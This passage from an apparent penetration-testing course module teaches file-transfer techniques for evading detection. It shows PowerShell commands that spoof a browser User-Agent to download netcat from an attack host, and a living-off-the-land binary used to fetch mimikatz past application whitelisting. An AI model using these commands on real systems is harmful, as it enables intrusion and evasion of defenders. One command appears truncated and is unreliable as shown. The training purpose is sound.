Evading Detection

Changing User Agent

If diligent administrators or defenders have blacklisted any of these User Agents, Invoke-WebRequest contains a UserAgent parameter, which allows for changing the default user agent to one emulating Internet Explorer, Firefox, Chrome, Opera, or Safari. For example, if Chrome is used internally, setting this User Agent may make the request seem legitimate.

Listing out User Agents

Listing out User Agents

```
PS C:\htb>[Microsoft.PowerShell.Commands.PSUserAgent].GetProperties() | Select-Object Name,@{label="User Agent"

Name       : InternetExplorer
User Agent : Mozilla/5.0 (compatible; MSIE 9.0; Windows NT; Windows NT 10.0; en-US)

Name       : FireFox
User Agent : Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) Gecko/20100401 Firefox/4.0

Name       : Chrome
User Agent : Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) AppleWebKit/534.6 (KHTML, like Gecko) Chrome/7.0
             Safari/534.6

Name       : Opera
User Agent : Opera/9.70 (Windows NT; Windows NT 10.0; en-US) Presto/2.2.1

Name       : Safari
User Agent : Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) AppleWebKit/533.16 (KHTML, like Gecko) Version/5
             Safari/533.16
```

Invoking Invoke-WebRequest to download nc.exe using a Chrome User Agent:

Request with Chrome User Agent

Request with Chrome User Agent

```
PS C:\htb> $UserAgent = [Microsoft.PowerShell.Commands.PSUserAgent]::Chrome
PS C:\htb> Invoke-WebRequest http://10.10.10.32/nc.exe -UserAgent $UserAgent -OutFile "C:\Users\Public\nc.exe"
```

Request with Chrome User Agent

```
dbcyph0n@htb[/htb]$ nc -lvnp 80

listening on [any] 80 ...
connect to [10.10.10.32] from (UNKNOWN) [10.10.10.132] 51313
GET /nc.exe HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) AppleWebKit/534.6
(KHTML, Like Gecko) Chrome/7.0.500.0 Safari/534.6
Host: 10.10.10.32
Connection: Keep-Alive
```

LOLBAS / GTFOBins

Application whitelisting may prevent you from using PowerShell or Netcat, and command-line logging may alert defenders to your

Application whitelisting may prevent you from using PowerShell or Netcat, and command-line logging may alert defenders to your presence. In this case, an option may be to use a "LOLBIN" (living off the land binary), alternatively also known as "misplaced trust binaries." An example LOLBIN is the Intel Graphics Driver for Windows 10 (GfxDownloadWrapper.exe), installed on some systems and contains functionality to download configuration files periodically. This download functionality can be invoked as follows:

Transferring File with GfxDownloadWrapper.exe

Transferring File with GfxDownloadWrapper.exe

```
PS C:\htb> GfxDownloadWrapper.exe "http://10.10.10.132/mimikatz.exe" "C:\Temp\nc.exe"
```

Such a binary might be permitted to run by application whitelisting and be excluded from alerting. Other, more commonly available binaries are also available, and it is worth checking the LOLBAS project to find a suitable "file download" binary that exists in your environment. Linux's equivalent is the GTFOBins project and is definitely also worth checking out. As of the time of writing, the GTFOBins project provides useful information on nearly 40 commonly installed binaries that can be used to perform file transfers.

Closing Thoughts

As we've seen in this module, there are many ways to transfer files to and from our attack host between Windows and Linux systems. It's worth practicing as many of these as possible throughout the modules in the Penetration Tester path. Got a web shell on a target? Try downloading a file to the target for additional enumeration using Certutil. Need to download a file off the target? Try an Impacket SMB server or a Python web server with upload capabilities. Refer back to this module periodically and strive to use all the methods taught in some fashion. Also, take some time whenever you're working on a target or lab to search for a LOLBin or GTFOBin that you've never worked with before to accomplish your file transfer goals.

Previous Finish

Cheat Sheet

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